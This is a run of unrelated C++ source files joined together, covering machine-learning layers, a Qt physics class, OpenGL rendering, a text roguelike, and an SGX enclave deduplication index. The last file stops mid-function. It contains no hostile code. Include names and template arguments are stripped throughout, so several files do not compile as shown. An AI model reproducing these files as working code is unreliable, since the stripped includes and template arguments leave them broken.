PURINE_ACTIVATION_LAYER #define PURINE_ACTIVATION_LAYER #include "operations/include/activation.hpp" #include "composite/layer.hpp" namespace purine { typedef vector B; class ActivationLayer : public Layer { protected: string mode; bool inplace; public: typedef tuple param_tuple; ActivationLayer(int rank, int device, const param_tuple& args) : Layer(rank, device) { std::tie(mode, inplace) = args; } virtual ~ActivationLayer() override {} protected: virtual void setup() override { CHECK(bottom_setup_); CHECK_EQ(bottom_.size(), 2); Size bottom_size = bottom_[0]->tensor()->size(); // check top if (top_.size() != 0) { CHECK_EQ(top_.size(), 2); for (auto top : top_) { CHECK_EQ(top->tensor()->size(), bottom_size); } } else { if (!inplace) { top_ = { create("top", bottom_size), create("top_diff", bottom_size) }; } else { top_ = { create("top", bottom_[0]->shared_tensor()), create("top_diff", bottom_[1]->shared_tensor()) }; } } // create ops Op* activation_up = create("activation_up", "main", make_tuple(mode)); Op* activation_down = create( "activation_down", "main", make_tuple(mode)); // forward B{ bottom_[0] } >> *activation_up >> B{ top_[0] }; // backward B{ top_[1], top_[0], bottom_[0] } >> *activation_down >> B{ bottom_[1] }; } }; } #endif bohara/xdat2hdfatomicsystem.cpp1-10 #include "atomicsystem.h" AtomicSystem::AtomicSystem(QObject *parent) : QObject(parent) { _systemName.clear(); _deltaTime = 0; _volPerAtom = 0; _kelvin = 0; _numOfAtoms = 0; _numTimeFrames = 0; _latticeDims.clear(); _latticeDims.append(""); _latticeDims.append(""); _latticeDims.append(""); } AtomicSystem::AtomicSystem(const AtomicSystem &_other) { _systemName = _other._systemName; _deltaTime = _other._deltaTime; _volPerAtom = _other._volPerAtom; _kelvin = _other._kelvin; _numOfAtoms = _other._numOfAtoms; _numTimeFrames = _other._numTimeFrames; } AtomicSystem & AtomicSystem::operator=(const AtomicSystem &_other) { if(this == &_other) return *this; _systemName = _other._systemName; _deltaTime = _other._deltaTime; _volPerAtom = _other._volPerAtom; _kelvin = _other._kelvin; _numOfAtoms = _other._numOfAtoms; _numTimeFrames = _other._numTimeFrames; return *this; } QString AtomicSystem::systemName() const { return _systemName; } double AtomicSystem::deltaTime() const { return _deltaTime; } double AtomicSystem::volPerAtom() const { return _volPerAtom; } double AtomicSystem::kelvin() const { return _kelvin; } int AtomicSystem::numOfAtoms() const { return _numOfAtoms; } int AtomicSystem::numTimeFrames() const { return _numTimeFrames; } QVariant AtomicSystem::latticeDim() const { return QVariant::fromValue(_latticeDims); } void AtomicSystem::setSystemName(const QString &value) { if(_systemName.compare(value) != 0) { _systemName = value; emit systemNameChanged(); } } void AtomicSystem::setDeltaTime(const double &value) { if(_deltaTime != value) { _deltaTime = value; emit deltaTimeChanged(); } } void AtomicSystem::setVolPerAtom(const double &value) { if(_volPerAtom != value) { _volPerAtom = value; emit volPerAtomChanged(); } } void AtomicSystem::setKelvin(const double &value) { if(_kelvin != value) { _kelvin = value; emit kelvinChanged(); } } void AtomicSystem::setNumOfAtoms(const int &value) { if(_numOfAtoms != value) { _numOfAtoms = value; emit numOfAtomsChanged(); } } void AtomicSystem::setNumTimeFrames(const int &value) { if(_numTimeFrames != value) { _numTimeFrames = value; emit numTimeFramesChanged(); } } void AtomicSystem::setLatticeDim(const QVariant &value) { _latticeDims.clear(); foreach (QVariant item, value.toList()) { bool ok = false; double key = item.toDouble(&ok); if (ok) { _latticeDims.append(key); } } //qDebug() << value.toList().size() << "from setLatticeDim()"; emit latticeDimChanged(); } QVariant AtomicSystem::getLatticeDim() const { return QVariant::fromValue(_latticeDims); } fatemeh-azadi/Marian #include #include "hypothesis.h" using namespace std; namespace amunmt { std::string Debug(const Beam &vec, size_t verbosity) { std::stringstream strm; strm << "size=" << vec.size(); if (verbosity) { for (size_t i = 0; i < vec.size(); ++i) { const HypothesisPtr &hypo = vec[i]; strm << " " << hypo->GetWord(); } } return strm.str(); } std::string Debug(const Beams &vec, size_t verbosity) { std::stringstream strm; strm << "size=" << vec.size(); if (verbosity) { for (size_t i = 0; i < vec.size(); ++i) { const Beam &beam = vec[i]; strm << endl << "\t" << Debug(beam, verbosity); } } return strm.str(); } } CaffeineViking/nqsok #include "renderer.hh" #include #include #include nq::Renderer::Renderer(Window& window, const Settings& settings) : window {window}, settings {settings} { std::cout << "\nRenderer (initializing)..." << std::endl; if (!window.has_context()) window.current_context(); if (settings.depth_test) glEnable(GL_DEPTH_TEST); if (settings.stencil_test) glEnable(GL_STENCIL_TEST); if (settings.multisampling) glEnable(GL_MULTISAMPLE); else glDisable(GL_MULTISAMPLE); // This one is usually enabled. glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); if (settings.blending) glEnable(GL_BLEND); if (settings.face_culling) { glEnable(GL_CULL_FACE); glFrontFace(settings.front_face); glCullFace(settings.cull_face); } glClearColor(settings.clear_color.red / static_cast(0xFF), settings.clear_color.green / static_cast(0xFF), settings.clear_color.blue / static_cast(0xFF), 1.0f); report_settings(); // Provide possibly useful information. std::cout << "...done (Renderer)" << std::endl; } nq::Renderer::~Renderer() { } void nq::Renderer::clear() { GLbitfield mask {GL_COLOR_BUFFER_BIT}; if (settings.depth_test) mask |= GL_DEPTH_BUFFER_BIT; if (settings.stencil_test) mask |= GL_STENCIL_BUFFER_BIT; glClear(mask); // Should clear all relevant buffers. projection = glm::perspective(glm::radians(60.0), window.aspect_ratio(), VIEWING_FRUSTRUM_NEAR, VIEWING_FRUSTRUM_FAR); } void nq::Renderer::draw(Model& model) { setup(model); // Setup vertex uniform/attribs. glDrawElements(GL_TRIANGLES, model.mesh.size(), GL_UNSIGNED_INT, nullptr); } void nq::Renderer::draw(Model& model, const Camera& camera, const std::vector& lights) { setup(model); // Setup vertex stuff. for (std::size_t i {0}; i < 16; ++i) { std::string lighti {"lights[" + std::to_string(i) + "]"}; if (i < lights.size()) model.shader.uniformi(lighti + ".enabled", 1); else { model.shader.uniformi(lighti + ".enabled", 0); break; } // I'm so sorry, ok? model.shader.uniformi(lighti + ".directional", static_cast(lights[i].directional)); model.shader.uniform_vector(lighti + ".intensity", lights[i].intensity); model.shader.uniform_vector(lighti + ".position", lights[i].position); } model.shader.uniform_vector("ambient_color", this->ambient); model.shader.uniform_vector("camera_position", camera.position); model.shader.uniform_matrix("view", camera.get_matrix()); model.shader.uniform_matrix("projection", projection); glDrawElements(GL_TRIANGLES, model.mesh.size(), GL_UNSIGNED_INT, nullptr); } void nq::Renderer::setup(Model& model) const { if (!model.shader.is_current()) model.shader.use(); model.shader.uniform_vector("material.diffuse", model.material.diffuse); model.shader.uniform_vector("material.specular", model.material.specular); model.shader.uniformi("material.shininess", model.material.shininess); for (Model::Sampler& sampler : model.samplers) { if (!sampler.texture.is_current()) { sampler.texture.active(model.shader, sampler.unit, sampler.name); } } model.apply("model"); // Apply model matrix transform, right?. if (!model.mesh.is_current()) model.mesh.enable(model.shader); } void nq::Renderer::report_settings() const { if (settings.depth_test) std::cout << "Depth test enabled" << std::endl; if (settings.stencil_test) std::cout << "Stencil test enabled" << std::endl; if (settings.multisampling) std::cout << "Multisampling enabled" << std::endl; if (settings.face_culling) { std::cout << "Face culling enabled" << std::endl; if (settings.front_face == GL_CW) std::cout << "Front face is clockwise" << std::endl; else if (settings.front_face == GL_CCW) std::cout << "Front face is counter clockwise" << std::endl; if (settings.cull_face == GL_FRONT) std::cout << "Culling polygon's front faces" << std::endl; if (settings.cull_face == GL_BACK) std::cout << "Culling polygon's back faces" << std::endl; } } Jiashuo-Zhang/Compiler-Projectkernel/Kernel2IRVisitor.cpp // // Kernel2IRVisitor.cpp // // // Created by 张家硕 on 2020/5/10. // #include "Kernel2IRVisitor.h" #include "test_and_or_operators.h" #include #include #include bool testee_OR_operator_with_CPP() { std::string string1 = "STR1"; std::string string2 = "STR2"; if ((string1.find("STR1") != std::string::npos) || (string2.find("STR1") != std::string::npos)) { printf("left branch\n"); return true; } else { printf("right branch\n"); return false; } } bool testee_OR_operator_with_CPP_PHI_case() { std::string string1 = "STR1"; std::string string2 = "STR2"; bool result = false; if ((string1.find("STR1") != std::string::npos) || (string2.find("STR1") != std::string::npos)) { printf("left branch\n"); result = true; } else { printf("right branch\n"); result = false; } printf("result is: %d\n", result); return result; } bool testee_OR_operator_with_CPP_and_assert() { std::string string1 = "STR1"; std::string string2 = "STR2"; assert((string1.find("STR1") != std::string::npos) || (string2.find("STR1") != std::string::npos)); return true; } bool testee_AND_operator_with_CPP() { std::string string1 = "STR1"; std::string string2 = "STR2"; if ((string1.find("STR1") != std::string::npos) && (string2.find("STR1") != std::string::npos)) { printf("left branch\n"); return true; } else { printf("right branch\n"); return false; } } bool testee_AND_operator_with_CPP_PHI_case() { std::string string1 = "STR1"; std::string string2 = "STR2"; bool result = false; if ((string1.find("STR1") != std::string::npos) && (string2.find("STR1") != std::string::npos)) { printf("left branch\n"); result = true; } else { printf("right branch\n"); result = false; } return result; } bool testee_AND_operator_with_CPP_and_assert() { std::string string1 = "STR1"; std::string string2 = "STR2"; assert(((string1.find("STR1") != std::string::npos) && (string2.find("STR1") != std::string::npos)) == false); return true; } int test_OR_operator_with_CPP() { bool result = testee_OR_operator_with_CPP(); return result == true; } int test_OR_operator_with_CPP_PHI_case() { bool result = testee_OR_operator_with_CPP_PHI_case(); return result == true; } int test_OR_operator_with_CPP_and_assert() { bool result = testee_OR_operator_with_CPP_and_assert(); return result == true; } int test_AND_operator_with_CPP() { bool result = testee_AND_operator_with_CPP(); return result == false; } int test_AND_operator_with_CPP_PHI_case() { bool result = testee_AND_operator_with_CPP_PHI_case(); return result == false; } int test_AND_operator_with_CPP_and_assert() { bool result = testee_AND_operator_with_CPP_and_assert(); return result == true; } #include "Level.h" #include #include #include #include using namespace std ; Level::Level() { //ctor } void Level :: load(string fileName, Player &player){ // Loading the level ifstream inputFile ; inputFile.open(fileName) ; if (inputFile.fail()) { perror(fileName.c_str()) ; exit(1) ; } string line ; while (getline(inputFile, line)) { _levelData.push_back(line) ; } inputFile.close() ; // Processing the level char tile ; // x = columns // y = row for (int row = 0; row < _levelData.size(); row++){ for (int columns = 0; columns <_levelData[row].size() ; columns++ ) { tile = _levelData[row][columns] ; switch(tile){ case '@' : //Player player.setPosition(columns, row) ; break ; case 'S' : // Snake _enemies.push_back(Enemy("Snake", tile, 1,3,1,10,50)) ; _enemies.back().setPosition(columns, row) ; break ; case 'g' : // Snake _enemies.push_back(Enemy("Goblin", tile, 2,10,5,35,150)) ; _enemies.back().setPosition(columns, row) ; break ; case 'O' : // Ogre _enemies.push_back(Enemy("Ogre", tile, 4,20,40,200,500)) ; _enemies.back().setPosition(columns, row) ; break ; case 'D' : // Dragon _enemies.push_back(Enemy("Dragon", tile, 100,2000,2000,2000,500000)) ; _enemies.back().setPosition(columns, row) ; break ; case 'B' : // Bandit _enemies.push_back(Enemy("Bandit", tile, 3,15,10,100,250)) ; _enemies.back().setPosition(columns, row) ; break ; } } } } void Level :: print() { for (int i = 0 ; i < _levelData.size(); i++){ cout << _levelData[i].c_str() << endl ; } cout << endl ; } void Level :: movePlayer(char input, Player &player){ int playerX; int playerY ; player.getPosition(playerX, playerY) ; switch(input){ case 's' : //Left controlPlayerMove(player, playerX-1 , playerY); break ; case 'e' : //Up controlPlayerMove(player, playerX , playerY-1); break ; case 'd' : //Right controlPlayerMove(player, playerX+1 , playerY); break ; case 'x' : //Down controlPlayerMove(player, playerX , playerY+1); break ; default : cout << "Invalid Input"<< endl; break ; } } char Level ::getTile(int X, int Y) { return _levelData[Y][X] ; } void Level ::setTile(int X, int Y, char tile){ _levelData[Y][X] =tile ; } void Level :: controlPlayerMove(Player &player, int targetX, int targetY) { int playerX; int playerY ; player.getPosition(playerX, playerY) ; char moveTile = getTile(targetX, targetY ) ; switch(moveTile){ case '.' : player.setPosition(targetX , targetY) ; // deplacement of the player setTile(playerX, playerY, '.') ; // replace the dot sign to at sign setTile(targetX , targetY, '@') ; // Put the player in the new location break ; case '#' : //cout << "Wall" << endl ; break ; default : battleMonster(player, targetX, targetY) ; break ; } } void Level :: battleMonster(Player &player, int targetX, int targetY) { int enemyX ; int enemyY ; int playerX ; int playerY ; int attackRoll ; int attackResult ; string enemyName ; player.getPosition(playerX, playerY) ; for (int i =0 ; i < _enemies.size(); i++){ _enemies[i].getPosition(enemyX, enemyY) ; enemyName = _enemies[i].getName(); if (targetX == enemyX && targetY == enemyY) { // Battle Royal! attackRoll = player.attack(); cout << " You attacked a " << enemyName.c_str() << " with a roll of " << attackRoll << endl ; attackResult = _enemies[i].takeDamage(attackRoll) ; if (attackResult != 0){ setTile(targetX, targetY, '.'); print(); cout << "Nice, the Monster died by your hands" ; // remove the enemy _enemies[i] = _enemies.back() ; _enemies.pop_back() ; i-- ; system("PAUSE") ; player.addExperience(attackResult) ; return ; } else { //Monster time cout << " A " << enemyName.c_str() << " attacked you with a roll of " << attackRoll << endl ; attackRoll = _enemies[i].attack() ; attackResult = player.takeDamage(attackRoll) ; if (attackResult != 0){ setTile(playerX, playerY, 'X'); print() ; cout << " Bad a " << enemyName.c_str() << " Killed You" << endl ; system("PAUSE") ; exit(0); } } system("PAUSE") ; return; } } } void Level :: processEnemyMove(Player &player, int enemyIndex, int targetX, int targetY) { int playerX; int playerY ; int enemyX ; int enemyY ; _enemies[enemyIndex].getPosition(enemyX, enemyY) ; player.getPosition(playerX, playerY) ; char moveTile = getTile(targetX, targetY ) ; switch(moveTile){ case '.' : _enemies[enemyIndex].setPosition(targetX , targetY) ; // deplacement of the player setTile(enemyX, enemyY, '.') ; // replace the dot sign to at sign setTile(targetX , targetY, _enemies[enemyIndex].getTile()) ; // Put the Enemy in the new location break ; case '@' : battleMonster(player, enemyX, enemyY) ; break ; default : break ; } } void Level :: updateEnemy(Player &player) { char aiMove ; int playerX ; int playerY ; int enemyX ; int enemyY ; player.getPosition(playerX, playerY) ; for (int i = 0; i < _enemies.size(); i++){ aiMove = _enemies[i].getMove(playerX, playerY) ; _enemies[i].getPosition(enemyX, enemyY) ; //cout << "move :"<ufoHub/AddOn_SomeStuff #if !defined (LOGS_HPP) #define LOGS_HPP #include "APICommon.h" #include "DG.h" void Do_MarkSelElems(const API_Guid& elemGuid); void Do_ShowSelElems(const API_Guid& elemGuid); #endif// Meta_Optional //------------------------------------------------------------------------------ // Includes //------------------------------------------------------------------------------ #include "Meta_Optional.h" // Reflection //------------------------------------------------------------------------------ REFLECT_BEGIN( Meta_Optional, IMetaData, MetaNone() ) REFLECT_END( Meta_Optional ) // CONSTRUCTOR //------------------------------------------------------------------------------ Meta_Optional::Meta_Optional() { } // DESTRUCTOR //------------------------------------------------------------------------------ Meta_Optional::~Meta_Optional() = default; //------------------------------------------------------------------------------ #include "UniformLightGridCommon.h" void createAndCopyBuffer(Buffer::SharedPtr& pBuffer, uint elementSize, uint elementCount, const void* pCpuData, const std::string& bufferName) { assert(pCpuData); // create if current buffer size < requested size if (!pBuffer || pBuffer->getElementCount() < elementCount) { pBuffer = Buffer::createStructured(elementSize, elementCount, Resource::BindFlags::ShaderResource | Resource::BindFlags::UnorderedAccess, Buffer::CpuAccess::None, nullptr, false); pBuffer->setName(bufferName); } // copy grid data to gpu size_t bufferSize = elementCount * elementSize; pBuffer->setBlob(pCpuData, 0, bufferSize); } 10-100 #ifndef I_DOMCOLL_HXX_ #define I_DOMCOLL_HXX_ #pragma INCMSG("--- Beg 'domcoll.hxx'") #define _hxx_ #include "domcoll.hdl" MtExtern(CAttrCollectionator) MtExtern(CAttrCollectionator_aryAttrDescs) MtExtern(CDOMChildrenCollection) class CDOMChildrenCollection : public CCollectionBase { DECLARE_CLASS_TYPES(CDOMChildrenCollection, CCollectionBase) private: CBase *_pOwner; BOOL _fIsElement; public: DECLARE_MEMALLOC_NEW_DELETE(Mt(CDOMChildrenCollection)) CDOMChildrenCollection( CBase *pOwner, BOOL fElement ){ _pOwner = pOwner; _pOwner->PrivateAddRef(); _fIsElement = fElement; } ~CDOMChildrenCollection(){ _pOwner->FindAAIndexAndDelete ( DISPID_INTERNAL_CDOMCHILDRENPTRCACHE, CAttrValue::AA_Internal ); _pOwner->PrivateRelease(); }; // IUnknown DECLARE_PLAIN_IUNKNOWN(CDOMChildrenCollection); STDMETHOD(PrivateQueryInterface)(REFIID, void **); //STDMETHOD(QueryInterface)(REFIID riid, void **ppv) { return PrivateQueryInterface(riid,ppv); } //STDMETHOD_(ULONG,AddRef)(void) { return _pOwner->AddRef(); } //STDMETHOD_(ULONG,Release)(void) { return _pOwner->Release(); } #define _CDOMChildrenCollection_ #include "domcoll.hdl" // Helpers HRESULT IsValidIndex ( long lIndex ); long GetLength ( void ); // CGenericOMCollection over-rides long FindByName(LPCTSTR pszName, BOOL fCaseSensitive = TRUE ) { return -1; } LPCTSTR GetName(long lIdx) {return NULL;} // Don't support names - use index as name HRESULT GetItem (long lIndex, VARIANT *pvar); protected: DECLARE_CLASSDESC_MEMBERS; }; //+------------------------------------------------------------ // // Class : CAttrCollectionator // //------------------------------------------------------------- class CAttrCollectionator : public CCollectionBase { public: DECLARE_CLASS_TYPES(CAttrCollectionator, CCollectionBase) DECLARE_MEMALLOC_NEW_DELETE(Mt(CAttrCollectionator)) CAttrCollectionator(CElement *pElemColl) { _pElemColl = pElemColl; pElemColl->AddRef(); } ~CAttrCollectionator(); // IUnknown and IDispatch DECLARE_PLAIN_IUNKNOWN(CAttrCollectionator) DECLARE_PRIVATE_QI_FUNCS(CBase) struct AttrDesc { DISPID _dispid; const PROPERTYDESC *_pPropdesc; }; DECLARE_CDataAry(CAttrDescArray, AttrDesc, Mt(Mem), Mt(CAttrCollectionator_aryAttrDescs)); CAttrDescArray _aryAttrDescs; long _lexpandoStartIndex; HRESULT EnsureCollection(); #define _CAttrCollectionator_ #include "domcoll.hdl" protected: DECLARE_CLASSDESC_MEMBERS; virtual long FindByName(LPCTSTR pszName, BOOL fCaseSensitive = TRUE ); virtual LPCTSTR GetName(long lIdx); virtual HRESULT GetItem(long lIndex, VARIANT *pvar); HRESULT GetItemAt(long lIndex, IDispatch **ppDisp); CElement *_pElemColl; }; #pragma INCMSG("--- End 'domcoll.hxx'") #else #pragma INCMSG("*** Dup 'domcoll.hxx'") #endif /** * @file ecallFreqTwoIndex.cc * @author * @brief implement the interface of frequency-two index * @version 0.1 * @date 2021-01-15 * * @copyright Copyright (c) 2021 * */ #include "../../include/ecallFreqIndexTwo.h" /** * @brief Construct a new Ecall Frequency Index object * * @param maxRecvChunkNum the pointer to the outside recipe buffer * @param recipeBufferChunkNum the pointer to the outside current segment buffer */ EcallFrequencyTwoIndex::EcallFrequencyTwoIndex(uint64_t maxRecvChunkNum) : EnclaveBase(maxRecvChunkNum) { insideDedupIndex_ = new EcallEntryHeap(); insideDedupIndex_->SetHeapSize(topThreshold_); cmSketch_ = new EcallCMSketch(sketchWidth_, SKETCH_DEPTH); EnclaveCommon::printf("FrequencyTwoIndex: start to load the index.\n"); if (ENABLE_SEALING) { if (!this->LoadDedupIndex()) { EnclaveCommon::printf("FrequencyTwoIndex: do not need to load the index.\n"); } } EnclaveCommon::printf("FrequencyTwoIndex: Initial the frequency-based index.\n"); } /** * @brief Destroy the Ecall Frequency Index object * */ EcallFrequencyTwoIndex::~EcallFrequencyTwoIndex() { // size_t heapSize = insideDedupIndex_->Size(); // EnclaveCommon::printf("The number of entry: %lu\n", heapSize); // for (size_t i = 0; i < heapSize; i++) { // EnclaveCommon::printf("%u\n", insideDedupIndex_->TopEntry()); // if (insideDedupIndex_->Size() > 1) { // insideDedupIndex_->Pop(); // } else { // break; // } // } EnclaveCommon::printf("current heap size: %ld\n", insideDedupIndex_->Size()); if (ENABLE_SEALING) { this->PersistDedupIndex(); } delete insideDedupIndex_; delete cmSketch_; EnclaveCommon::printf("============Destory Frequency-two index==========\n"); EnclaveCommon::printf("logical chunk num: %lu\n", logicalChunkNum_); EnclaveCommon::printf("logical data size: %lu\n", logicalDataSize_); EnclaveCommon::printf("unique chunk num: %lu\n", uniqueChunkNum_); EnclaveCommon::printf("unique data size: %lu\n", uniqueDataSize_); EnclaveCommon::printf("compressed data size: %lu\n", compressedDataSize_); EnclaveCommon::printf("inside dedup chunk num: %lu\n", insideDedupChunkNum_); EnclaveCommon::printf("inside dedup data size: %lu\n", insideDedupDataSize_); #if (SGX_BREAKDOWN==1) EnclaveCommon::printf("data transmission: %ld\n", dataTransTime_); EnclaveCommon::printf("data transmission count: %ld\n", dataTransCount_); EnclaveCommon::printf("fingerprint: %ld\n", fingerprintTime_); EnclaveCommon::printf("fingerprint count: %ld\n", fingerprintCount_); EnclaveCommon::printf("frequency track: %ld\n", freqTime_); EnclaveCommon::printf("frequency track count: %ld\n", freqCount_); EnclaveCommon::printf("first-phase: %ld\n", firstDedupTime_); EnclaveCommon::printf("first-phase count: %ld\n", firstDedupCount_); EnclaveCommon::printf("second-phase: %ld\n", secondDedupTime_); EnclaveCommon::printf("second-phase count: %ld\n", secondDedupCount_); EnclaveCommon::printf("compression: %ld\n", compressTime_); EnclaveCommon::printf("compression count: %ld\n", compressCount_); EnclaveCommon::printf("encryption: %ld\n", encryptTime_); EnclaveCommon::printf("encryption count: %ld\n", encryptCount_); EnclaveCommon::printf("test ocall: %ld\n", testOCallTime_); EnclaveCommon::printf("test ocall count: %ld\n", testOCallCount_); #endif EnclaveCommon::printf("=================================================\n"); } /** * @brief update the inside-enclave with only freq * * @param ChunkFp the chunk fp * @param currentFreq the current frequency */ void EcallFrequencyTwoIndex::UpdateInsideIndexFreq(const string& chunkFp, uint32_t currentFreq) { insideDedupIndex_->Update(chunkFp, currentFreq); return ; } /** * @brief process the tailed batch when received the end of the recipe flag * * @param buffer the input buffer * @param payloadSize the payload size * @param uploadOutSGXPtr the pointer to enclave-related var */ void EcallFrequencyTwoIndex::ProcessTailBatch(uint8_t* buffer, uint64_t payloadSize, UploadOutSGX_t* uploadOutSGXPtr) { int clientID = uploadOutSGXPtr->clientID; EnclaveClient* currentClient = EnclaveCommon::clientIndex_[clientID]; RecipeBuffer_t* recipe = currentClient->GetRecipeBuffer(); uint8_t* masterKey = currentClient->GetMasterKey(); if (recipe->recipeNum != 0) { uint8_t cipherRecipe[maxRecvChunkNum_ * sizeof(RecipeEntry_t)]; cryptoObj_->EncryptWithKey(currentClient->GetCipherCTX(), (uint8_t*)(recipe->recipeBuffer), recipe->recipeNum * sizeof(RecipeEntry_t), masterKey, cipherRecipe); Ocall_UpdateFileRecipe((RecipeEntry_t*)cipherRecipe, recipe->recipeNum, clientID); } // reset the recipe structure recipe->recipeNum = 0; // update the header of the file recipe this->FinalizeFileRecipeHeader(buffer, payloadSize, currentClient); return ; } /** * @brief persist the deduplication index into the disk * * @return true success * @return false fail */ bool EcallFrequencyTwoIndex::PersistDedupIndex() { size_t itemNum; bool persistenceStatus; size_t requiredBufferSize = 0; size_t offset = 0; // a pointer to store tmp buffer uint8_t* tmpBuffer = NULL; // step-1: persist the sketch state uint32_t** counterArrary = cmSketch_->GetCounterArray(); Ocall_InitWriteSealedFile(&persistenceStatus, SEALED_SKETCH_TWO_PATH); if (persistenceStatus == false) { Ocall_SGX_Exit_Error("FrequencyTwoIndex: cannot init the sketch sealed file."); } for (size_t i = 0; i < SKETCH_DEPTH; i++) { EnclaveCommon::WriteBufferToFile((uint8_t*)counterArrary[i], sketchWidth_ * sizeof(uint32_t), SEALED_SKETCH_TWO_PATH); } Ocall_CloseWriteSealedFile(SEALED_SKETCH_TWO_PATH); // step-2: persist the min-heap offset = 0; Ocall_InitWriteSealedFile(&persistenceStatus, SEALED_FREQ_TWO_INDEX_PATH); if (persistenceStatus == false) { Ocall_SGX_Exit_Error("FrequencyTwoIndex: cannot init the heap sealed file."); } vector::iterator>* heapPtr = insideDedupIndex_->GetHeapPtr(); itemNum = heapPtr->size(); requiredBufferSize = sizeof(size_t) + itemNum * (CHUNK_HASH_SIZE + sizeof(HeapItem_t)); tmpBuffer = (uint8_t*) malloc(sizeof(uint8_t) * requiredBufferSize); memcpy(tmpBuffer + offset, &itemNum, sizeof(size_t)); offset += sizeof(size_t); for (size_t i = 0; i < itemNum; i++) { memcpy(tmpBuffer + offset, &(*heapPtr)[i]->first[0], CHUNK_HASH_SIZE); offset += CHUNK_HASH_SIZE; memcpy(tmpBuffer + offset, &(*heapPtr)[i]->second, sizeof(HeapItem_t)); offset += sizeof(HeapItem_t); } EnclaveCommon::WriteBufferToFile(tmpBuffer, requiredBufferSize, SEALED_FREQ_TWO_INDEX_PATH); Ocall_CloseWriteSealedFile(SEALED_FREQ_TWO_INDEX_PATH); free(tmpBuffer); return true; } /** * @brief read the hook index from sealed data * * @return true success * @return false fail */ bool EcallFrequencyTwoIndex::LoadDedupIndex() { size_t itemNum; string tmpChunkFp; tmpChunkFp.resize(CHUNK_HASH_SIZE, 0); size_t sealedDataSize; size_t offset = 0; // step-1: load the sketch state uint32_t** counterArray = cmSketch_->GetCounterArray(); Ocall_InitReadSealedFile(&sealedDataSize, SEALED_SKETCH_TWO_PATH); if (sealedDataSize == 0) { return false; } for (size_t i = 0; i < SKETCH_DEPTH; i++) { EnclaveCommon::ReadFileToBuffer((uint8_t*)counterArray[i], sizeof(uint32_t) * sketchWidth_, SEALED_SKETCH_TWO_PATH); } Ocall_CloseReadSealedFile(SEALED_SKETCH_TWO_PATH); // step-2: load the min-heap vector::iterator>* heapPtr = insideDedupIndex_->GetHeapPtr(); unordered_map* indexPtr = insideDedupIndex_->GetIndexPtr(); Ocall_InitReadSealedFile(&sealedDataSize, SEALED_FREQ_TWO_INDEX_PATH); if (sealedDataSize == 0) { return false; } uint8_t* tmpIndexBuffer = (uint8_t*) malloc(sealedDataSize * sizeof(uint8_t)); EnclaveCommon::ReadFileToBuffer(tmpIndexBuffer, sealedDataSize, SEALED_FREQ_TWO_INDEX_PATH); memcpy(&itemNum, tmpIndexBuffer + offset, sizeof(size_t)); offset += sizeof(size_t); HeapItem_t tmpItem; unordered_map::iterator tmpIt; string tmpFp; tmpFp.resize(CHUNK_HASH_SIZE, 0); for (size_t i = 0; i < itemNum; i++) { memcpy(&tmpChunkFp[0], tmpIndexBuffer + offset, CHUNK_HASH_SIZE); offset += CHUNK_HASH_SIZE; memcpy(&tmpItem, tmpIndexBuffer + offset, sizeof(HeapItem_t)); offset += sizeof(HeapItem_t); tmpIt = indexPtr->insert(make_pair(tmpChunkFp, tmpItem)).first; heapPtr->push_back(tmpIt); } Ocall_CloseReadSealedFile(SEALED_FREQ_TWO_INDEX_PATH); free(tmpIndexBuffer); return true; } /** * @brief check whether add this chunk to the heap * * @param chunkFreq the chunk freq */ bool EcallFrequencyTwoIndex::CheckIfAddToHeap(uint32_t chunkFreq) { if (insideDedupIndex_->Size() < topThreshold_) { return true; } // step: get the min-freq of current heap uint32_t currentMin = insideDedupIndex_->TopEntry(); if (chunkFreq >= currentMin) { // the input chunk freq is larger than existing one, can add to the heap return true; } // the input chunk freq is lower than existsing one, cannot add to the heap return false; } /** * @brief Add the information of this chunk to the heap * * @param chunkFreq the chunk freq * @param chunkAddress the chunk address * @param chunkFp the chunk fp */ void EcallFrequencyTwoIndex::AddChunkToHeap(uint32_t chunkFreq, const string& chunkAddress, const string& chunkFp) { HeapItem_t tmpHeapEntry; // pop hte minimum item insideDedupIndex_->Pop(); // insert the new one memcpy(&tmpHeapEntry.address, chunkAddress.c_str(), sizeof(KeyForChunkHashDB_t)); tmpHeapEntry.chunkFreq = chunkFreq; insideDedupIndex_->Add(chunkFp, tmpHeapEntry); return ; } /** * @brief process one batch * * @param buffer the data buffer * @param payloadSize the payload size * @param uploadOutSGXPtr the pointer to the enclave-related var */ void EcallFrequencyTwoIndex::ProcessOneBatch(uint8_t* buffer, uint64_t payloadSize, UploadOutSGX_t* uploadOutSGXPtr) { // get the client out-enclave buffer int clientID = uploadOutSGXPtr->clientID; // get the client in-enclave buffer EnclaveClient* currentClient = EnclaveCommon::clientIndex_[clientID]; EVP_CIPHER_CTX* cipherCtx = currentClient->GetCipherCTX(); EVP_MD_CTX* mdCtx = currentClient->GetMdCTX(); uint8_t* recvBuffer = currentClient->GetRecvBuffer(); uint8_t* sessionKey = currentClient->GetSessionKey(); RecipeBuffer_t* recipe = currentClient->GetRecipeBuffer(); ExchangeEntry_t* dedupStatusBase = currentClient->GetDedupExchangeBuffer(); string tmpChunkAddressStr; tmpChunkAddressStr.resize(sizeof(KeyForChunkHashDB_t), 0); string tmpCipherAddressStr; tmpCipherAddressStr.resize(sizeof(KeyForChunkHashDB_t), 0); size_t currentOffset = sizeof(uint64_t); // jump the chunk num unordered_map tmpLocalIndex; #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif // step-1: decrypt the received data with the session key cryptoObj_->SessionKeyDec(cipherCtx, buffer, payloadSize, sessionKey, recvBuffer); #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); dataTransTime_ += (endTime_ - startTime_); dataTransCount_++; #endif // get the chunk num uint64_t chunkNum = 0; memcpy(&chunkNum, recvBuffer, sizeof(uint64_t)); // start to process each chunk uint32_t tmpChunkSize = 0; string tmpHashStr; tmpHashStr.resize(CHUNK_HASH_SIZE, 0); ExchangeEntry_t* currentDedupStatus = dedupStatusBase; ExchangeEntry_t* outsideEntryPtr = uploadOutSGXPtr->exchangeEntryList; size_t outsideQueryNum = 0; uint32_t currentFreq = 0; // check current min freq in the heap uint32_t currentMinFreq; HeapItem_t tmpHeapEntry; #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&startTime_); #endif if (insideDedupIndex_->Size() != 0) { currentMinFreq = insideDedupIndex_->TopEntry(); } else { currentMinFreq = 0; } #if (SGX_BREAKDOWN==1) Ocall_GetCurrentTime(&endTime_); firstDedupTime_ += (endTime_ - startTime_); firstDedupCount_++; #endif // path one: 